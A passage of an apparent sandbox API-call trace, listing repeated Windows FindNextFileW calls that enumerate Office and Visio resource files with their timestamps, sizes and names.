lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50d55500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROSE.CSS", cAlternateFileName="")) returned 1 [0078.106] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1d3a600, ftCreationTime.dwHighDateTime=0x1be1dd7, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1d3a600, ftLastWriteTime.dwHighDateTime=0x1be1dd7, nFileSizeHigh=0x0, nFileSizeLow=0xc06d, dwReserved0=0x0, dwReserved1=0x0, cFileName="RPLBRF35.CHM", cAlternateFileName="")) returned 1 [0078.106] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50d55500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xbd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVASWEB.VSL", cAlternateFileName="")) returned 1 [0078.106] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9271b400, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9271b400, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x61204, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG.HXS", cAlternateFileName="")) returned 1 [0078.106] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG_COL.HXC", cAlternateFileName="")) returned 1 [0078.106] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a76d900, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5a76d900, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG_COL.HXT", cAlternateFileName="")) returned 1 [0078.106] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a76d900, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5a76d900, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG_F_COL.HXK", cAlternateFileName="")) returned 1 [0078.106] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a76d900, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5a76d900, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG_K_COL.HXK", cAlternateFileName="")) returned 1 [0078.106] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x10d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="SGRES.DLL", cAlternateFileName="")) returned 1 [0078.106] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ba4cc00, ftCreationTime.dwHighDateTime=0x1cab7e0, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ba4cc00, ftLastWriteTime.dwHighDateTime=0x1cab7e0, nFileSizeHigh=0x0, nFileSizeLow=0x2d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SGRES.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0078.106] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xa570, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHAPNUM.VSL", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50deda80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.CSS", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c961300, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7c961300, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x2380, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLINTL.DLL", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50deda80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMIGRATE.VSL", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67868700, ftCreationTime.dwHighDateTime=0x1cacbb1, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67868700, ftLastWriteTime.dwHighDateTime=0x1cacbb1, nFileSizeHigh=0x0, nFileSizeLow=0x4e5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOCIALCONNECTORRES.DLL", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffe2700, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50deda80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xffe2700, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x644, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPACE.VRD", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50e13be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.CSS", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50e13be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPS.CSS", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50e5fea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="STEEL.CSS", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33021f00, ftCreationTime.dwHighDateTime=0x1ca6570, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x33021f00, ftLastWriteTime.dwHighDateTime=0x1ca6570, nFileSizeHigh=0x0, nFileSizeLow=0x69d1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSLIST.CHM", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6069a300, ftCreationTime.dwHighDateTime=0x1cab8a9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6069a300, ftLastWriteTime.dwHighDateTime=0x1cab8a9, nFileSizeHigh=0x0, nFileSizeLow=0x15990, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSLISTI.DLL", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50e5fea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUNNY.CSS", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50e5fea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUNSET.CSS", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50e5fea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TERRCOTT.CSS", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50e86000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x44b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIMESOLN.VSL", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad844100, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50ed22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad844100, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x5fd88, dwReserved0=0x0, dwReserved1=0x0, cFileName="UML.VSL", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f896e00, ftCreationTime.dwHighDateTime=0x1cab8a9, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f896e00, ftLastWriteTime.dwHighDateTime=0x1cab8a9, nFileSizeHigh=0x0, nFileSizeLow=0xef80, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmOutlookStrings.dll", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x960df00, ftCreationTime.dwHighDateTime=0x1c56bc5, ftLastAccessTime.dwLowDateTime=0x50f446e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x960df00, ftLastWriteTime.dwHighDateTime=0x1c56bc5, nFileSizeHigh=0x0, nFileSizeLow=0x74c, dwReserved0=0x0, dwReserved1=0x0, cFileName="VALVE.VRD", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ceb0900, ftCreationTime.dwHighDateTime=0x1cab7d1, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4ceb0900, ftLastWriteTime.dwHighDateTime=0x1cab7d1, nFileSizeHigh=0x0, nFileSizeLow=0x9190, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISBRRES.DLL", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b68e400, ftCreationTime.dwHighDateTime=0x1cab7d1, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7b68e400, ftLastWriteTime.dwHighDateTime=0x1cab7d1, nFileSizeHigh=0x0, nFileSizeLow=0x4b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISBRRES.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xa980, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISCOLOR.VSL", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d766e00, ftCreationTime.dwHighDateTime=0x1cac1e7, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d766e00, ftLastWriteTime.dwHighDateTime=0x1cac1e7, nFileSizeHigh=0x0, nFileSizeLow=0xb9378, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISINTL.DLL", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bb60400, ftCreationTime.dwHighDateTime=0x1cac1e7, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1bb60400, ftLastWriteTime.dwHighDateTime=0x1cac1e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a980, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.CSS", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94d40e00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x50fdcc60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x94d40e00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x588a20, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.DEV.HXS", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x50fdcc60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62cf1400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x50fdcc60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x62cf1400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62cf1400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x50fdcc60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x62cf1400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62cf1400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x50fdcc60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x62cf1400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96053b00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x51002dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96053b00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x2b532a, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.HXS", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e34500, ftCreationTime.dwHighDateTime=0x1ca90f4, ftLastAccessTime.dwLowDateTime=0x51002dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4e34500, ftLastWriteTime.dwHighDateTime=0x1ca90f4, nFileSizeHigh=0x0, nFileSizeLow=0xd6cc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.SHAPESHEET.HXS", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x51028f20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x2a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.SHAPESHEET_COL.HXC", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa53f300, ftCreationTime.dwHighDateTime=0x1c5aeb1, ftLastAccessTime.dwLowDateTime=0x51028f20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xaa53f300, ftLastWriteTime.dwHighDateTime=0x1c5aeb1, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.SHAPESHEET_COL.HXT", cAlternateFileName="")) returned 1 [0078.107] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa53f300, ftCreationTime.dwHighDateTime=0x1c5aeb1, ftLastAccessTime.dwLowDateTime=0x51ca82a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xaa53f300, ftLastWriteTime.dwHighDateTime=0x1c5aeb1, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.SHAPESHEET_F_COL.HXK", cAlternateFileName="")) returned 1 [0078.108] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa53f300, ftCreationTime.dwHighDateTime=0x1c5aeb1, ftLastAccessTime.dwLowDateTime=0x5203a3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xaa53f300, ftLastWriteTime.dwHighDateTime=0x1c5aeb1, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.SHAPESHEET_K_COL.HXK", cAlternateFileName="")) returned 1 [0078.108] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x5203a3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_COL.HXC", cAlternateFileName="")) returned 1 [0078.108] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f3b8d00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x5203a3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f3b8d00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_COL.HXT", cAlternateFileName="")) returned 1 [0078.108] FindNextFileW (in: 